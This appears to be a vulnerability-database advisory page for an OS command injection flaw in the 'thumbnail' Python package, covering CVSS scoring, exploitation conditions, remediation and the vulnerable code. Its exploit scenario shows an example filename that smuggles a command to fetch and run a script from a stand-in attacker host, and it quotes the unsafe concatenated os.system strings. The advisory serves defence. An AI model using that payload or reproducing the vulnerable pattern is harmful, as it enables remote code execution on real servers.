Skip to main content

thumbnail Python package EUVDEUVD-2026-101278

| CVE-2026-110650 CRITICAL
OS Command Injection (CWE-78)
2026-10-14 VulnCheck GHSA-542h-xc5c-6hxm
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Upload file with crafted name
  2. Exploit
    Name passed to generate_thumbnail()
  3. Execution
    Shell metacharacters break out of os.system() string
  4. Impact
    Arbitrary commands run with Python process privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the consuming application pass an attacker-controlled file path/name into generate_thumbnail() - the canonical case being a user file-upload feature where the uploaded filename reaches the function. The injected metacharacters must survive into the input, output, width, height, quality or trim values that the pre-patch code concatenates into the ffmpeg/convert/unoconv command strings. Limiting factors: the package is a library with no network listener of its own, so reachability depends entirely on the host application exposing untrusted filenames; the affected version must be 1.5 or earlier (pre-PR #9); and the host must have ffmpeg/convert/unoconv available for the relevant code branch. Where those conditions hold, no authentication or user interaction beyond submitting the malicious filename is needed.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.3, CWE-78) describes classic unauthenticated remote OS command injection with full confidentiality, integrity and availability impact on the vulnerable system and no scope change to subsequent systems. The source-code evidence strongly corroborates this: the pre-patch code concatenated user-controlled values (input/output filenames, width, height, quality, trim) directly into shell strings passed to os.system() running ffmpeg, convert and unoconv, and the vendor PR #9 fixes it by switching to subprocess.run() with argument lists and no shell. However, the real-world risk is tempered by a critical nuance the raw CVSS does not capture: this is a library, not a standalone service, so 'network, unauthenticated' holds ONLY when the consuming application exposes attacker-controlled filenames (e.g. an upload feature) to generate_thumbnail(). No EPSS score, KEV listing, or public POC is present in the provided data. Weighing the signals: the technical impact is genuinely high and the flaw is trivially exploitable where reachable, but the absence of KEV/EPSS/POC and the very small deployment footprint of this obscure PyPI package suggest this is a high-CVSS, high-technical-impact issue with low real-world widespread-exploitation likelihood - prioritize it only if you actually depend on this package with untrusted filename input.

Exploit ScenarioDerived

An application uses the thumbnail package to generate previews for user-uploaded files and passes the uploaded file's name to generate_thumbnail(). An attacker uploads (or names) a file containing shell metacharacters such as ; curl attacker/x | sh ;.mp4 or $(...), which is concatenated into the os.system() command line and executed by the shell with the Python process's privileges. No public exploit identified at time of analysis, but the vulnerable code path is confirmed in the vendor source and the attack is low-complexity.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 3.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 14, 2026

OS command injection in the thumbnail Python package through version 1.5 allows attackers who control a filename passed to generate_thumbnail() to execute arbitrary shell commands with the privileges of the Python process. The vulnerable code concatenates user-influenced values (input, output, width, height, quality, trim) directly into os.system() calls invoking ffmpeg, convert or unoconv, so shell metacharacters such as ';', backticks or $(...) in a filename break out of the intended command. The package is a library with no network listener of its own, so real-world reachability depends on the consuming application exposing untrusted filenames - classically a file-upload feature - and on ffmpeg/convert/unoconv being installed for the relevant code branch; where those conditions hold, no authentication or user interaction beyond submitting the malicious filename is required. An upstream fix exists in pull request #9, and no public exploit code has been identified at time of analysis.

RemediationAI

Apply the upstream fix in pull request #9 (https://github.com/anshulkharb/thumbnail/pull/9), which converts the generate_thumbnail() calls from os.system() string concatenation to subprocess.run() with explicit argument lists and shell=False, and migrate to a package build that includes that commit, since versions through 1.5 remain vulnerable and a tagged patched release is not independently confirmed. If upgrading immediately is not possible, the highest-value compensating control is to stop untrusted filenames from reaching generate_thumbnail(): rename uploads to server-generated UUID/slug values with a strict allowlist regex and a fixed extension before the library sees them, and apply the same allowlist to the output path and to width/height/quality/trim options, accepting that this pushes validation responsibility onto every caller and can break legitimate filenames with punctuation. Alternatively, patch the call sites in place by replacing os.system() with subprocess.run([...], shell=False) or, as a weaker stopgap, wrapping each interpolated value in shlex.quote(); quoting-only fixes are fragile because a single missed interpolation or an option value that is itself a command fragment reopens the hole. Reduce blast radius by allowing only the specific binaries needed - for example, drop the unoconv branch (and uninstall unoconv) if document conversion is unused, since that removes one command-injection sink at the cost of losing that conversion feature - and run the Python worker under a dedicated low-privilege account in a sandbox or container with no access to sensitive mounts, credentials or the network beyond what thumbnail generation requires. Note that disabling or uninstalling ffmpeg/convert entirely will break thumbnail generation, and monitoring shell metacharacters in filenames can serve as a detection backstop while remediation is staged. Consult the VulnCheck advisory at https://www.vulncheck.com/advisories/thumbnail-through-1.5-os-command-injection-via-generate-thumbnail-file-paths and the vulnerable source at https://github.com/anshulkharb/thumbnail/blob/23b2e30509c936872a3bafac65b4aa48777e794c/thumbnail/thumbnail.py#L100-L114 for exact code locations.

Affected VersionsENISA

thumbnail 0 ≤1.5

Affected Packages

euvd thumbnail no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw is a classic CWE-78 OS command injection rooted in the use of os.system() with a concatenated command string. In the pre-fix code path (thumbnail/thumbnail.py, roughly lines 100-114, commit 23b2e30), commands such as 'ffmpeg -y -i '+input+' -vf thumbnail '+vidcommand+' -frames:v 1 '+output, 'convert '+options['trim']+' -quality '+options['quality']+' '+imgcommand+' -colorspace RGB '+input+'[0] '+output, and 'unoconv -e PageRange=1 -o '+tmppath+' '+input are built by string concatenation and handed to the shell, so any shell metacharacter in a filename or option value is interpreted as command syntax rather than data. The fix in PR #9 replaces os.system() with subprocess.run() calls that pass an explicit argument list with shell=False, and rebuilds the geometry/trim options as discrete list tokens (e.g. ['-geometry', options['height'], '-extent', ...]) rather than a pre-joined string, ensuring user-controlled values reach the external binaries as literal arguments. The involved technology stack is therefore a Python thumbnail-generation library that shells out to ImageMagick (convert), FFmpeg (ffmpeg) and LibreOffice/uno conversion (unoconv). The CPE cpe:2.3:a:anshulkharb:thumbnail:*:*:*:*:*:*:*:* identifies the upstream anshulkharb/thumbnail project, and the package is a code library - it opens no sockets itself, so exploitability is entirely mediated by the host application that feeds it filenames and by the presence of the external tools for the branch selected. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N, 9.3) matches the independent CVSS 3.1 assessment (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), describing unauthenticated remote command execution with full confidentiality, integrity and availability impact confined to the vulnerable host and no scope change to subsequent systems.

Know when Thumbnail gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Attacker-controlled filename (e.g. upload) reaches os.system() with no auth or interaction, giving AV:N/AC:L/PR:N/UI:N; command runs at Python process privileges (S:U) with full C/I/A.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

The thumbnail Python package through 1.5 contains an OS command injection vulnerability in generate_thumbnail() that allows attackers to execute commands by supplying shell metacharacters in file paths. Attackers who control a file name passed to generate_thumbnail, such as an uploaded file, can inject commands into os.system() calls running ffmpeg, convert or unoconv with the Python process privileges.

Executive ViewAI

Why It Matters

A critical command injection flaw in the thumbnail Python package (all versions through 1.5) allows anyone who controls a filename passed to generate_thumbnail() to run arbitrary shell commands with the privileges of the hosting Python process. Because the library has no network listener of its own, exposure is inherited from any application that feeds it untrusted filenames - most commonly a file-upload or image-processing feature - turning each such service into a potential full-compromise path for the application server. Leadership should care because a single crafted filename can yield code execution on production hosts while remediation requires coordinating a dependency update across every consuming application and container image.

Business Impact: High
Compensating Controls

Apply vendor patch. Until the fixed release is deployed, isolate the package from untrusted input by validating and allowlisting filenames, stripping shell metacharacters, invoking ffmpeg/convert/unoconv via argument lists without shell interpolation, and removing those binaries from application hosts that do not require them.

Threat Intelligence Overview

EPSS Score
3.0%
Top 13% exploitable
Prevalence
Rare
obscure single-author PyPI package, negligible enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 3.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: +3
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy